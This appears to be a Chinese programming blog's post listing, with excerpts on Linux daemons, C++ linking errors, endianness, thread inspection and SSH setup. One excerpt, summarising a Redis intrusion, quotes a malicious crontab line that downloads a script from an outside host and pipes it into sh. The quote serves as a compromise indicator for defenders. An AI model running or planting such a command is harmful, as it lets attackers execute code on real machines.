- 博客(12)
- 收藏
- 关注
原创 Linux平台C++监控子进程程序
1、问题描述有时候服务端程序会偶现异常停止,这个时候除了要查找程序的bug外,还有拉起程序以继续提供服务。目前为了方便,我们直接用shell脚本去监控服务进程,这种方法比较简单,不再赘述。这里描述另一种方法:服务进程分离为主监控进程和子工作进程,主进程只负责监控子进程(停止、拉起子进程等),子进程负责对外提供服务。监控子进程的程序,个人认为重点如下:子进程收到终止信号后,完成自身善后工作,然后直接
2017-04-07 10:26:09 3083 1
原创 动态库编译:.so: undefined symbol
这几天学习了下共享库相关知识,今天编码发现一点小问题(虽然是小问题,也花了几个小时查找),这里记录下,给大家作个参考。1、问题描述g++编译库文件,编译的时候不报错,但是运行主程序的时候会出现以下错误:/opt/code/c++/sharelib/libshare.so: undefined symbol: my_print2、解决方案编译共享库的时候,一定要以C的方式进行编译。 纯C代码,可直接
2017-03-07 17:53:16 8469 1
原创 Linux 创建守护进程(daemon)
1、创建daemon步骤:要变成daemon,一个程序需要完成下面的步骤:执行一个fork(),之后父进程退出,子进程继续执行。(结果就是daemon成为了init进程的子进程。)之所以要做这一步是因为下面两个原因: 假设daemon是从命令行启动的,父进程的终止会被shell发现,shell在发现之后会显示出另一个shell提示符并让子进程继续在后台运行。子进程被确保不会称为一个进程组首进程
2017-02-25 10:37:20 1031
原创 Linux C 修改进程名称(setproctitle())
Linux修改进程名称简介c语言程序运行时,进程的名称通常就是argv[0],修改进程名称就是修改内存中argv[0]存储的内容。下面介绍nginx修改进程名称的方法。
2017-02-15 20:17:46 6435
原创 类似undefined reference to `vtable for <classname>`问题解决
问题现象今天编写代码,编译的时候遇到了类似“undefined reference to vtable for <classname>” 的问题 ,网上查了好久都说是基类的析构函数没有实现,但我的代码中基类的析构函数是有实现的,后来又反复查看代码,发现析构函数中有个一普通的虚函数没有实现(太大意了),将这个没有具体实现的虚函数实现或将其定义为纯虚函数,问题得到解决。解决办法按一下几点排查基类:基类
2016-09-20 15:01:32 464
原创 判断本地存储模式为大段还是小端
大小端模式介绍 大端模式 所谓的大端模式(Big-endian),是指数据的高字节,保存在内存的低地址中,而数据的低字节,保存在内存的高地址中,这样的存储模式有点儿类似于把数据当作字符串顺序处理:地址由小向大增加,而数据从高位往低位放; 记忆方法: 地址的增长顺序与值的增长顺序相同小端模式 所谓的小端模式(Little-endian),是指数据的高字节保存在内存的高地址中,而数据的低字节保
2016-09-01 17:27:50 609
原创 redis crackit入侵事件总结
今天发现服务器有异常进程/opt/yam/yam,上网搜了搜,是由于redis未授权引起的入侵,查了些资料,这里坐下总结。 1. 现象 有以下其一现象就要注意是否被入侵crontab -l 可以看到类似“/15 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh”。ps -ef 可以看到进程 “/opt/yam
2016-07-01 17:49:39 5314
原创 C++虚函数与纯虚函数
C++中虚函数与纯虚函数都是为了实现多态性而引入的,这里谈谈自己对虚函数与纯虚函数的一点理解。在基类中将某函数声明为虚函数或者纯虚函数后,则子类中该函数自动成为虚函数。虚函数必须在基类中实现,这样子类中可以实现,也可以不用实现该函数,根据实际需要。 纯虚函数在基类中可以实现,也可以不实现,子类中必须有实现。实际上纯虚函数在基类中的实现是没有意义的,因为含有纯虚函数的类是抽象类,抽象类是不能创建对象
2016-06-30 11:01:14 517
原创 同一进程内多个线程状态的查看
今天发现服务器上程序运行异常,整个程序是在运行,但从日志看只有部分线程在运行,而另一部分线程没运行。然后我就在代码中加入了一些更详细的日志,然而问题发生时,程序还是那种异常。于是就上网搜了一些查看线程状态的资料,这里总结下。top -H -p pid# top -H -p 17972这个命令可以查看同一进程下各个线程的运行状态,如下图 pstack pid# pstack 17972 这个命令可以
2016-06-29 16:26:41 698
原创 CentOS双向免密码登录
本文介绍CentOS服务器双向免密码登录若主机1想要免密码登录主机2,需要主机2能够识别自己,这里就是通过公钥和私钥去识别的。在主机1上生成公钥和私钥,将其公钥传到主机2,这样当主机1登录到主机2的时候,主机1可以凭借着私钥让主机2认识自己
2016-06-29 16:05:20 2071 1
原创 linux daemon简介
一、什么是daemon?我们先来简单介绍下什么是服务(service)。Linux系统可以提供很多系统或网络功能(例如http,ftp,mysql等),提供这些功能当然需要运行一些程序,这些运行的程序我们称为进程,也就是说系统中运行的进程提供了功能,这些进程就是服务。例如:提供了http功能的进程就是http服务。服务可以说是某一进程,而进程是需要程序去运行产生,也就是说程序运行提供某种服务,这些
2015-12-22 23:59:43 19160 1
转载 C++中的字节对齐分析
本文转载自http://www.cnblogs.com/repository/archive/2011/01/13/1933721.html阅读指引: 1. 示例代码 2. 为什么要字节对齐 3. 编译器对字节对齐的一些规则 4. 结合编译器原则分析示例 5. 总结1.示例代码 先看一下这段程序的运行结果。struct A{ int a; char b;
2015-12-18 20:04:16 406
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人